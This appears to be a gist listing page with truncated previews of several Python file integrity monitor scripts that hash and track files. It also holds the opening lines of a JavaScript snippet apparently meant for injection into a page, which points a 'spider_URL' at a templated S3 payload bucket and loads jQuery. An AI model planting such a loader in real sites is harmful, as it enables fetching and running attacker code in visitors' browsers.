This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import os,hashlib,time,base64,sqlite3,configparser,smtplib,ssl | |
| from email.mime.text import MIMEText | |
| from getpass import getpass | |
| db = sqlite3.connect('FileIntegrityMonitor.db') | |
| db.row_factory = sqlite3.Row | |
| cur=db.cursor() | |
| conf = configparser.ConfigParser() | |
| conf.read('FileIntegrityMonitor.ini') | |
| def configureDatabase(): |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| var spider_URL = 'https://{{S3_Payload_Bucket}}.s3.amazonaws.com/spider.js'; | |
| if (typeof(jQuery) == 'undefined') { | |
| (function(e, s) { | |
| e.src = s; | |
| e.onload = function() { | |
| Execute() | |
| }; | |
| document.head.appendChild(e); | |
| })(document.createElement('script'), '//code.jquery.com/jquery-latest.min.js') |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import os,hashlib,time,base64,sqlite3,configparser | |
| db = sqlite3.connect('FileIntegrityMonitor.db') | |
| db.row_factory = sqlite3.Row | |
| cur=db.cursor() | |
| conf = configparser.ConfigParser() | |
| conf.read('FileIntegrityMonitor.ini') | |
| def configureDatabase(): | |
| db.execute('CREATE TABLE IF NOT EXISTS Monitor (ID INTEGER PRIMARY KEY AUTOINCREMENT, Path TEXT NOT NULL, Recursive BIT NULL)') | |
| db.execute('CREATE TABLE IF NOT EXISTS File (ID INTEGER PRIMARY KEY AUTOINCREMENT, FilePath TEXT NOT NULL)') |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import os,hashlib,time,base64 | |
| monitor=[ | |
| {'path':'E:\Dropbox\SVL\Projects\AdvancedFIM_GatherFiles','recursive':True}, | |
| {'path':'E:\Dropbox\SVL\Projects','recursive':False}, | |
| {'path':'E:\Dropbox\SVL\Projects\BasicFIM\BasicFIM.py','recursive':False} | |
| ] | |
| files={} | |
| def getFiles(): | |
| filesList=[] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import os,hashlib,time | |
| monitor=[ | |
| {'path':'E:\Dropbox\SVL\Projects\AdvancedFIM_GatherFiles','recursive':True}, | |
| {'path':'E:\Dropbox\SVL\Projects','recursive':False}, | |
| {'path':'E:\Dropbox\SVL\Projects\BasicFIM\BasicFIM.py','recursive':False} | |
| ] | |
| files={} | |
| def getFiles(): | |
| filesList=[] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import os,hashlib | |
| for file in [item for item in os.listdir('.') if os.path.isfile(item)]: | |
| hash = hashlib.md5() | |
| with open(file) as f: | |
| for chunk in iter(lambda: f.read(2048), ""): | |
| hash.update(chunk) | |
| md5 = hash.hexdigest() | |
| print file,md5 |